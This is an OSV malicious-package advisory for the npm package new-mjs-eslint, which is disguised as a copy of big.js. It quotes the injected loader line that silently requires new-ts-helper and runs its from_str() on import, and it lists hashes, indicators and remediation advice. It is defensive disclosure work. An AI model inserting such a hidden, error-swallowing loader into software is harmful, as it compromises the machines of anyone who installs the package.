MAL-2026-6226

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-mjs-eslint/MAL-2026-6226.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6226
Aliases
  • GHSA-m6jq-gwpx-8rj7
Published
2026-06-19T14:24:05Z
Modified
2026-06-23T13:32:58Z
Summary
Malicious code in new-mjs-eslint (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b4ae24b182a00059424b8ea4800927bbbf662f0e6bf20264af611d37203a3f2e)

Package is published under the unrelated name 'new-mjs-eslint' but ships a verbatim copy of the big.js decimal-arithmetic library (original MikeMcl/big.js header, README, and source). Both main entrypoints, big.js and big.mjs, contain an injected line at lines 605-606: const helper = require("new-ts-helper"); helper.from_str().then(e => e).catch(e => { });. This fires on every require()/import of the package, loads the sibling dependency new-ts-helper, invokes its from_str() function, and silently swallows any error. The package name does not match its advertised content (eslint-shaped name, big.js content), the injected call sits mid-file rather than at a natural import location, and errors are deliberately suppressed — the entrypoint is a delivery vector for whatever code new-ts-helper ships, executed at load time on any installer that imports the package.

Source: ghsa-malware (33c541d27ff115106c670596de30296c9f70a28b44032568aa5d91045f06e5ae)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-007070",
            "import_time": "2026-06-19T15:41:55.179524401Z",
            "modified_time": "2026-06-19T14:24:05Z",
            "sha256": "b4ae24b182a00059424b8ea4800927bbbf662f0e6bf20264af611d37203a3f2e",
            "source": "amazon-inspector",
            "versions": [
                "7.0.6"
            ]
        },
        {
            "id": "GHSA-m6jq-gwpx-8rj7",
            "import_time": "2026-06-23T13:16:55.913747952Z",
            "modified_time": "2026-06-23T12:15:41Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "33c541d27ff115106c670596de30296c9f70a28b44032568aa5d91045f06e5ae",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / new-mjs-eslint

Package

Name
new-mjs-eslint
View open source insights on deps.dev
Purl
pkg:npm/new-mjs-eslint

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

7.*
7.0.6

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "big.js",
            "sha256": "68a805f0682bec7d0697485749fa40515a3fd89cdb64e63839cd22be599296cd",
            "tlsh": "cec2658c3ac67579593363788f465088eb38525712c8b286b4ae62b46f78cb107b5fdc"
        }
    ],
    "package_integrity": [
        {
            "filename": "new-mjs-eslint-7.0.6.tgz",
            "hashes": {
                "sha1": "d8e6d1171fcedf90b4abbf63b1b018399ebcdaba",
                "sha512_sri": "sha512-23y4OVElLFS8BawlEbbgWXEbAByc/8bfduA2SjwI1yqeE6wzWnGokIrZDH4orDlx0k/6b1zeFQ5OFNvLZd+04Q=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-mjs-eslint/MAL-2026-6226.json"